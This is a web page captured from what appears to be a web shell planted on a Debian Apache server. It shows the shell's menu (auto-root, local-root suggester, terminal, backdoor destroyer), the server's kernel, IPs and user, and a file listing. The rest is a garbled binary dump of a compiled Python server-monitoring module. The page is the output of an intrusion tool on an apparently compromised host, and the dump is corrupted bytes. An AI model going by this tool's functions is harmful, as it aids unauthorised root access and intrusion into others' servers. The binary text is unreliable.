Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
otto /
python /
app /
services /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
mail.cpython-310.pyc
6.59
KB
-rw-r--r--
2025-09-06 08:13
server_checks.cpython-310.pyc
11.99
KB
-rw-r--r--
2025-09-06 08:13
Save
Rename
o �ױh�N � @ s� d Z ddlZddlZddlmZmZmZmZ ddlmZ ddl m Z ddlZddlZej �dee e�jjj�� ddlmZ ddlmZ G d d � d �Zddee deeef fd d�ZdS )z� Server Monitoring Service for IGA Core This module provides server health monitoring including: - Memory usage monitoring - Disk space monitoring - CPU load monitoring - Email alerts when thresholds are exceeded � N)�Dict�Any�Optional�Tuple)�datetime)�Path)�get_server_monitor_config� )�SymfonyMailServicec @ s� e Zd ZdZddee fdd�Zdeeef fdd�Z deeef fd d �Z deeef fdd�Zdeeef fd d�Zde deeef fdd�Zdeeef fdd�Zdeeef fdd�ZdS )� ServerMonitorzP Server monitoring class that checks system resources and sends alerts. N�alert_emailc C sR t � }|p|d | _t� | _|d | _|d | _|d | _t�� | _t � � | _dS )z� Initialize the server monitor. Args: alert_email: Email address to send alerts to (optional, uses config default if not provided) r �disk_threshold�memory_threshold� cpu_thresholdN)r r r �mail_servicer r r �psutil� cpu_count�platform�node�hostname)�selfr �config� r �^/home/otto/wwwroots/BitBucket/iga-core-symfony/iga-core-5/python/app/services/server_checks.py�__init__ s zServerMonitor.__init__�returnc C sL z�g }g }t �� D ]r}z_t �|j�}|j|j d }d| }|j|j|jt|jd d�t|jd d�t|j d d�t|d�t|d�d�}|� |� || jkrid|j� d|d�d|d d�d �}|� dd||d �� W q tys Y q t y{ Y q w d||t�� �� d�W S t y� } zdt| �t�� �� d�W Y d} ~ S d} ~ ww )z� Check disk usage for all mounted filesystems. Returns: Dict containing disk usage information and alerts �d � @� )�device� mountpoint� filesystem�total_gb�used_gb�free_gb�percent_used�percent_freezDISK ALERT: z is �.1fz% full (r$ �GB free)�disk�high��type�severity�message�data�success)�status� disk_info�alerts� timestamp�error�r1 r5 r4 N)r �disk_partitions� disk_usager �used�totalr �fstype�round�free�appendr �PermissionError� Exceptionr �now� isoformat�str) r r2 r3 � partition�usager% r&